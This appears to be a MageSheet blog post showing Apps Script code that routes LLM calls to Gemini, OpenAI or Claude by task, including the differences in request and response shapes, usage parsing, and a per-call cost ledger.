A lead-classification job I built ran every inbound row through the flagship model because that was the model already wired up. 60,000 calls a month, about 800 input and 60 output tokens each. On claude-opus-5 list rates that arithmetic comes to $330 a month. The same calls on gemini-2.5-flash-lite come to $6.24. The prompt didn't change, the sheet didn't change, the accuracy on that particular task didn't measurably change — only which model answered.

Getting from $330 to $6.24 means one call site can reach more than one provider. The usual framing is that this is easy, because from Apps Script all three are the same shape: a UrlFetchApp.fetch() to a REST endpoint with your prompt in the body and your key in a header. That's true at the wire level. At the code level three specific things differ, and each one fails in a way that doesn't raise.

Here's the router I ended up with, and the three places it has to know the difference.

What actually differs between the three

Not the transport. These:

Where the system prompt goes. Gemini takes it as a top-level systemInstruction object. OpenAI takes it as a message with role: "system" at the front of messages. Claude takes it as a top-level system string, and a system message inside messages is a different feature with different rules. Send a Gemini-shaped body to OpenAI and the system prompt is silently absent — no error, just a model that ignores instructions you're certain you sent.

Where the key goes. Gemini reads x-goog-api-key. OpenAI reads Authorization: Bearer. Claude reads x-api-key and additionally requires an anthropic-version header that the other two have no equivalent for.

Whether the output cap is optional. generationConfig.maxOutputTokens and max_completion_tokens are both optional. Claude's max_tokens is required — a helper that treats it as optional works against two providers and returns a 400 against the third.

The money layer

One object holds the routing vocabulary and the prices, so a route can never name a model the cost function doesn't know:

// One registry: model id -> provider + list price per 1M tokens,
// in USD. These are published list rates read in September 2026;
// re-check them before you put a number in a business case.
// This object is the only place you edit when a price moves.
var MODELS = {
  'gemini-2.5-flash-lite': { p: 'gemini', in: 0.10, out: 0.40 },
  'gemini-3.1-pro':        { p: 'gemini', in: 2.00, out: 12.00 },
  'gpt-5.6-luna':          { p: 'openai', in: 0.20, out: 1.20 },
  'gpt-5.6-sol':           { p: 'openai', in: 5.00, out: 30.00 },
  'claude-haiku-4-5':      { p: 'claude', in: 1.00, out: 5.00 },
  'claude-opus-5':         { p: 'claude', in: 5.00, out: 25.00 }
};

// Task -> model id. It returns the id, not a label like 'cheap',
// so the string that routes is the same string that keys MODELS.
function pickModel(task) {
  if (task === 'classify' || task === 'tag') {
    return 'gemini-2.5-flash-lite';
  }
  if (task === 'extract') return 'gpt-5.6-luna';
  if (task === 'reply') return 'claude-haiku-4-5';
  if (task === 'audit') return 'claude-opus-5';
  return 'gemini-2.5-flash-lite';
}

// Cache reads bill at 0.1x input and Claude cache writes at
// 1.25x. Summing all three input counters at the base rate
// charges a warm route ten times what its reads actually cost.
function costUsd(model, u) {
  var e = MODELS[model];
  if (!e) throw new Error('Unknown model: ' + model);
  var m = 1000000;
  return (u.inTok / m) * e.in +
         (u.cacheWrite / m) * e.in * 1.25 +
         (u.cacheRead / m) * e.in * 0.10 +
         (u.outTok / m) * e.out;
}

pickModel returning a model id rather than a label is deliberate, and it's a bug I have already paid for once: a router that returns 'cheap' and maps it to an id one layer down puts the routing vocabulary and the pricing vocabulary in two places, and they drift. Returning the id makes a mismatch impossible to write, and a one-line test over every task catches it if someone adds a route later. I hit the same class of failure with a model-id-versus-label mismatch in Claude prompt caching, where the consequence was caching silently switching itself off.

The prices above are list rates for the models I actually route to, published as of September 2026. Providers move them — Google marks its current Flash rates as effective through the end of 2026, and OpenAI's top-tier rate has a promotional discount with a stated end date — so treat the table as a value you maintain, not a constant.

The request layer

buildRequest is the only function that knows any provider's request shape, and it takes the key as an argument instead of reading PropertiesService itself. That one choice is what makes the whole layer testable outside Apps Script:

var ENDPOINTS = {
  gemini: 'https://generativelanguage.googleapis.com/v1beta/models/',
  openai: 'https://api.openai.com/v1/chat/completions',
  claude: 'https://api.anthropic.com/v1/messages'
};

function buildRequest(model, systemText, userText, key, maxTokens) {
  var entry = MODELS[model];
  if (!entry) throw new Error('Unknown model: ' + model);

  if (entry.p === 'gemini') {
    return {
      url: ENDPOINTS.gemini + model + ':generateContent',
      headers: { 'x-goog-api-key': key },
      payload: {
        systemInstruction: { parts: [{ text: systemText }] },
        contents: [
          { role: 'user', parts: [{ text: userText }] }
        ],
        generationConfig: { maxOutputTokens: maxTokens }
      }
    };
  }

  if (entry.p === 'openai') {
    return {
      url: ENDPOINTS.openai,
      headers: { Authorization: 'Bearer ' + key },
      payload: {
        model: model,
        messages: [
          { role: 'system', content: systemText },
          { role: 'user', content: userText }
        ],
        max_completion_tokens: maxTokens
      }
    };
  }

  return {
    url: ENDPOINTS.claude,
    headers: {
      'x-api-key': key,
      'anthropic-version': '2023-06-01'
    },
    payload: {
      model: model,
      system: systemText,
      messages: [{ role: 'user', content: userText }],
      max_tokens: maxTokens
    }
  };
}

Note that the Gemini branch never puts model in the payload — it goes in the URL path. A body that carries model to Gemini is not an error there either; the field is simply ignored, which is why a copy-pasted OpenAI body appears to work right up until you notice every response came from whichever model the URL named.

The response layer

Reading the answer back is where the three shapes diverge hardest, and where the guards matter more than the happy path:

function readText(model, json) {
  var p = MODELS[model].p;

  if (p === 'gemini') {
    var cand = (json.candidates || [])[0];
    if (!cand) return '';
    // content.parts is absent, not empty, when the turn stopped
    // on SAFETY or MAX_TOKENS. parts[0].text would throw here.
    var parts = (cand.content || {}).parts || [];
    return parts.map(function (x) {
      return x.text || '';
    }).join('');
  }

  if (p === 'openai') {
    var msg = ((json.choices || [])[0] || {}).message || {};
    // content is null on a refusal or a tool call, not ''.
    return msg.content || '';
  }

  // Claude returns an array of blocks and block 0 is not always
  // the text one, so find by type instead of indexing.
  var blocks = json.content || [];
  var out = '';
  for (var i = 0; i < blocks.length; i++) {
    if (blocks[i].type === 'text') out += blocks[i].text;
  }
  return out;
}

// Normalizes three usage shapes into one billable row. Cached
// input is kept apart because it does not bill at the same rate.
function readUsage(model, json) {
  var p = MODELS[model].p;
  var u = json.usageMetadata || json.usage || {};

  if (p === 'gemini') {
    return {
      inTok: u.promptTokenCount || 0,
      // Thinking tokens bill as output but are reported in their
      // own field, outside candidatesTokenCount.
      outTok: (u.candidatesTokenCount || 0) +
              (u.thoughtsTokenCount || 0),
      cacheWrite: 0,
      cacheRead: u.cachedContentTokenCount || 0
    };
  }

  if (p === 'openai') {
    var det = u.prompt_tokens_details || {};
    var cached = det.cached_tokens || 0;
    return {
      inTok: (u.prompt_tokens || 0) - cached,
      outTok: u.completion_tokens || 0,
      cacheWrite: 0,
      cacheRead: cached
    };
  }

  return {
    inTok: u.input_tokens || 0,
    outTok: u.output_tokens || 0,
    cacheWrite: u.cache_creation_input_tokens || 0,
    cacheRead: u.cache_read_input_tokens || 0
  };
}

function callModel(task, systemText, userText) {
  var model = pickModel(task);
  var provider = MODELS[model].p;
  var key = PropertiesService.getScriptProperties()
    .getProperty('KEY_' + provider.toUpperCase());
  var req = buildRequest(model, systemText, userText, key, 1024);

  var res = UrlFetchApp.fetch(req.url, {
    method: 'post',
    contentType: 'application/json',
    headers: req.headers,
    payload: JSON.stringify(req.payload),
    muteHttpExceptions: true
  });

  var code = res.getResponseCode();
  var body = res.getContentText();
  if (code !== 200) {
    throw new Error(provider + ' ' + code + ': ' +
                    body.slice(0, 200));
  }

  var json = JSON.parse(body);
  var usage = readUsage(model, json);
  SpreadsheetApp.getActive().getSheetByName('AI Ledger')
    .appendRow([new Date(), task, model, provider,
                usage.inTok, usage.outTok,
                costUsd(model, usage)]);
  return readText(model, json);
}

The three usage branches are the point of the whole exercise. Without them you have a routing story and no way to check it; with them every call writes a dated row naming the task, the model, the token counts and the dollar figure, and the routing claim becomes something you read off a sheet instead of something you assert.

prompt_tokens on the OpenAI side is a total that already includes cached tokens, so subtracting cached_tokens out of it is not a correction, it's what stops the same tokens being billed twice in the ledger — once at full rate and once at the cache rate.

Pitfalls

muteHttpExceptions is what makes an HTTP error readable. Without it UrlFetchApp.fetch throws on a 429 and the exception text is a generic failure message, not the provider's JSON body explaining which quota you hit. With it you read the code, and the provider's own error text goes into your log.

The cheap model is not cheap on every task. Routing pays because the small model is genuinely adequate for classification and tagging. It is not a free swap for extraction against a messy document or for anything with a tool loop, where a worse model costs more in retries than the flagship cost in tokens. Route by task and measure the accuracy on that task, not by price alone.

Caches don't survive a provider switch, and they don't survive a model switch either. Prompt caches are model-scoped. A router that sends the same system prompt to claude-haiku-4-5 on one call and claude-opus-5 on the next pays a cold write on each escalation, on the whole prefix. That's a real cost the routing table can hide from you if you only look at per-token rates.

Gemini's thinking tokens are in their own counter. They bill as output but they are not inside candidatesTokenCount. A ledger that reads only candidatesTokenCount under-reports a reasoning-heavy Gemini route, and under-reporting is worse than not measuring — it produces a number you trust.

The 6-minute execution ceiling applies to the whole loop, not per call. A router in a batch job over thousands of rows still has to chunk and resume across triggers, and a cheaper model doesn't buy you more wall clock. That constraint is unchanged by anything here.

I ran the pure logic in Node before shipping it. pickModel, buildRequest, readText, readUsage and costUsd contain no UrlFetchApp, no PropertiesService and no SpreadsheetApp, which is what made them testable at all — 22 test groups, including one that asserts every task pickModel can return has a key in MODELS, one that a cache-read-only call bills exactly a tenth of the same tokens read cold, and the two that pin the $6.24 and $330 figures at the top of this article to the registry rather than to my arithmetic.

The takeaway

Model routing is not a prompt change, it's a boundary: one function that owns every provider difference, one registry that owns every price, and a ledger row per call so the saving is measured instead of assumed. Build those three and switching a task to a cheaper model is a one-line edit to pickModel.

The full category map — which workflow to automate first, how the same pattern runs a WhatsApp CRM, invoice extraction and nightly analysis off one Apps Script project — is on the MageSheet blog.

Built by the MageSheet team.